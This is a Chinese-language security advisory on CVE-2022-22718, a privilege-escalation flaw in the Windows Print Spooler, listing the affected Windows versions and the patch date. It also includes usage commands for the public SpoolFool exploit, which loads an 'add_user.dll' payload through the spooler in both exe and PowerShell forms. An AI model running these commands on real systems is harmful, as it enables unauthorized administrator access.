CVE-2022-22718：Windows打印提权漏洞深度解析

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CVE-2022-22718是一项严重的Windows打印提权漏洞，影响范围广泛，包括Windows Server 2008到Windows 11等多个版本。微软于2022年2月9日发布了修复此漏洞的安全更新，CVSS评分为7.7。该漏洞允许本地权限提升，利用条件涉及后台打印程序。用户应立即升级到最新版本以确保系统安全。

影响范围包括以下Windows系统版本：

• Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
• Windows Server 2008 for x64-based Systems Service Pack 2
• Windows 7 for 32-bit Systems Service Pack 1
• Windows Server 2016 (Server Core installation)
• Windows Server 2016
• Windows 10 Version 1607 for x64-based Systems
• Windows 10 Version 1607 for 32-bit Systems
• Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
• Windows Server 2008 for 32-bit Systems Service Pack 2
• Windows RT 8.1
• Windows 8.1 for x64-based systems
• Windows 8.1 for 32-bit systems
• Windows 7 for x64-based Systems Service Pack 1
• Windows 10 for x64-based Systems
• Windows 10 for 32-bit Systems
• Windows 10 Version 21H2 for x64-based Systems
• Windows 10 Version 21H1 for x64-based Systems
• Windows 10 Version 1909 for ARM64-based Systems
• Windows 10 Version 1909 for x64-based Systems
• Windows 10 Version 1909 for 32-bit Systems
• Windows Server 2012 R2 (Server Core installation)
• Windows Server 2012 R2
• Windows Server 2012 (Server Core installation)
• Windows Server 2012
• Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
• Windows Server 2008 R2 for x64-based Systems Service Pack 1
• Windows 10 Version 21H2 for ARM64-based Systems
• Windows 10 Version 21H2 for 32-bit Systems
• Windows 11 for ARM64-based Systems
• Windows 11 for x64-based Systems
• Windows Server, version 20H2 (Server Core Installation)
• Windows 10 Version 20H2 for ARM64-based Systems
• Windows 10 Version 20H2 for 32-bit Systems
• Windows 10 Version 20H2 for x64-based Systems
• Windows Server 2022 Azure Edition Core Hotpatch
• Windows Server 2022 (Server Core installation)
• Windows Server 2022
• Windows 10 Version 21H1 for 32-bit Systems
• Windows 10 Version 21H1 for ARM64-based Systems
• Windows Server 2019 (Server Core installation)
• Windows Server 2019
• Windows 10 Version 1809 for ARM64-based Systems
• Windows 10 Version 1809 for x64-based Systems
• Windows 10 Version 1809 for 32-bit Systems

漏洞类型：本地权限提升

利用条件影响范围应用：漏洞影响上述所有列出的Windows版本。

漏洞概述：2022年2月9日，微软发布了安全更新，修复了48个安全漏洞（不包括22个Microsoft Edge漏洞）。其中，CVE-2022-22718为Windows后台打印程序特权提升漏洞，CVSS评分为7.7。

漏洞复现使用说明：

代码语言：JavaScript 代码运行次数：0

PS C:\SpoolFool> .\SpoolFool.exe
SpoolFool  By Oliver Lyak (@ly4k_)
Examples:  
 C:\SpoolFool\SpoolFool.exe -dll add_user.dll  
 C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'  
 C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'  
 C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

PowerShell：

代码语言：JavaScript 代码运行次数：0

PS C:\SpoolFool> ipmo .\SpoolFool.ps1
PS C:\SpoolFool> Invoke-SpoolFool
SpoolFool  By Oliver Lyak (@ly4k_)
Examples:  
 -dll add_user.dll  
 -dll add_user.dll -printer 'My Printer'  
 -dll add_user.dll -dir 'SECRET'  
 -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

安全建议：升级到最新版本以确保系统安全。

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